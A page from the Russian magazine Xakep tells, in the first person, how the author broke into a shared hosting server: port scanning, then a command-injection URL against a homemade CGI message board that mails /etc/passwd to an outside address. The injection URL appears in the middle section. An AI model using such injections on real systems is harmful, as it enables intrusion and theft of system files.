ЖУРНАЛ ХАКЕР

Урок для глупого хостера

Xakep, номер #030, стр. 030-050-2


я обнаружил, что хосты majordomo.ru и reklamist.com имеют одинаковые IP, из чего получалось, что работала система vhosts - виртуальные хосты. Т. е. все клиенты Мажорского (по крайней мере, их часть) висели на одном физическом серваке - и это радовало :). Радовало на данном этапе хотя бы тем, что не было необходимости сканить порты в огромном диапазоне: достаточно было обработать лишь один IP.

Сканер к бою!

Решено было сканить на все известные сервисы (~2500 портов). Пока шло изучение местности, я не спеша допил пиво и взял следующую бутылку. Nmap, о котором ты можешь прочесть в этом же номере, конечно, сделал бы это гораздо быстрее, но относительная неспешность моего сканера давала возможность поразмыслить :). Открытыми оказались следующие порты:

21 TCP FTP

25 TCP SMTP

53 TCP DOMAIN

80 TCP HTTP

110 TCP POP3

1022 TCP ???

Я стал телнетиться на каждый из этих портов по очереди. На 21 порту был ProFTP 1.2.0pre10 - эксплоита для которого не было с 25, 53, 80 и 110. Все было ясно, как божий день. Однако 1022-й меня интересовал больше остальных. Сама цифра 1022 вызывала интерес, ведь на 22 порту у нормальных людей ssh, которого здесь не было - чуешь, чем пахнет? Кидаю коннект к этому порту, и верно - там ssh 2.0, который впоследствии очень пригодится. С демонами облом - ловить там нечего, но зато я собрал массу полезной информации на перспективу :).

Заканчивалась третья бутылка, а результата толком не было! Оставалось изучить cgi'ки клиентов. Единственным пока известным мне клиентом был сам reklamist.com, его я и начал рыть.

CGI из ПНД

У жертвы выявилась бесполезная рассылка, борда и еще какие-то мелкие скрипты. Естественно, сразу заинтересовала борда... Ты, конечно, подумал, что там оказалась трахнутая во все порты UBB? И на фиг я тебе все это тут тележил так долго, гиббон я мохнатый и все такое? Нет, малыш, там все более запущено оказалось :). Это не была одна из свободно распространяемых досок, видимо, ее кто-то сам писал. Я не знаю, о чем думал этот горе-программер в момент написания своего творения, но при желании через него (творение) можно было процеживать макароны - настолько дырявым оно оказалось. Я просто увидел урлы, указывающие на темы обсуждений, выглядевшие примерно так:

http://reklamist.com/cgi-bin/board.cgi?action=read&theme=2345.txt

Эта оригинальность мне понравилась, было решено испытать на прочность, и исправленный урл, заимел следующий вид:

http://reklamist.com/cgi-bin/board.cgi?action=read&theme=cat /etc/passwd|mail hacker@nitrogear.org|

Не прошло и минуты, как мне в мыло упал файл паролей. Конечно, как ты сам понимаешь, паролями там и не пахло - они были оттенены в shadow. Но даже если мне удалось бы достать и его, то на расшифровку ушла бы уйма времени. Здесь необходимо пояснить немного. Дело в том, что когда видишь такой урл, трудно не понять: главное содержимое дискуссии берется из файла 2345.txt, а затем уже запихивается в html. Следовательно, в коде использовалась процедура open() для открытия этого текстовика. А неправильное использование сего всегда влечет за собой возможность исполнения команд. Код был примерно таким:

Назад на стр. 030-050-1  Содержание  Вперед на стр. 030-050-3